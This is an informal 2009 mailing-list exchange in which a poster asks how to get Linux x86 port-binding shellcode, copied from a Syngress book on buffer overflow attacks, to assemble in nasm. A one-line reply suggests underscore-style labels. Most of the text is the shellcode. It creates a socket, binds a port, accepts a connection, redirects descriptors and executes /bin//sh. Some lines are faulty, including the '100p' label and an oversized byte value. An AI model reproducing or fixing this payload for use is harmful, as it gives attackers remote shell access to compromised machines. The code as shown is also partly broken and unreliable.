i solved da shit already basicly in windows u gotta use _xx 2 represent labels
2009/7/6 dominic wang <[email protected]> > here is da example gave in "buffer overflow attacks" by syngress > i was compilin this asm source file with nasm > > >nasm -f elf port_binding_shellcode_linux.asm > port_binding_shellcode_linux.asm:51: error: label or instruction > expected at start of line > port_binding_shellcode_linux.asm:55: error: expression syntax error > > > 51 100p: > 52 dec cl > 53 mov al, 63 > 54 int 0x80 > 55 jnz 100p > > can anyone tell me how can i fix this shit? > > > > port_binding_shellcode_linux.asm : > > ; int socket(int call, unsigned long *args); > > BITS 32 > > xor eax, eax > xor ebx, ebx > cdq > ; clean edx > > push eax > push byte 0x1 > push byte 0x2 > mov ecx, esp > inc bl > ; ebx > mov al, 102 > int 0x80 > mov esi, eax > ; esi = soc = return value of socket() > > push edx > push long 0xAAAA02AA > mov ecx, esp > push byte 0x10 > push ecx > push esi > mov ecx, esp > inc bl > mov al, 102 > int 0x80 > > push edx > push esi > mov ecx, esp > mov bl, 0x4 > mov al, 102 > int 0x80 > > ; cli = accept(soc, 0, 0); > push edx > push edx > push esi > mov ecx, esp > inc bl > mov al, 102 > int 0x80 > mov ebx, eax > > xor ecx, ecx > mov cl, 380 > 100p: > dec cl > mov al, 63 > int 0x80 > jnz 100p > > push edx > push long 0x68732f2f > push long 0x6e69622f > mov ebx, esp > push edx > push ebx > mov ecx, esp > mov al, 0x0b > int 0x80 > --~--~---------~--~----~------------~-------~--~----~ 要向邮件组发送邮件，请发到 [email protected] 要退订此邮件，请发邮件至 [email protected] -~----------~----~----~----~------~----~------~--~---
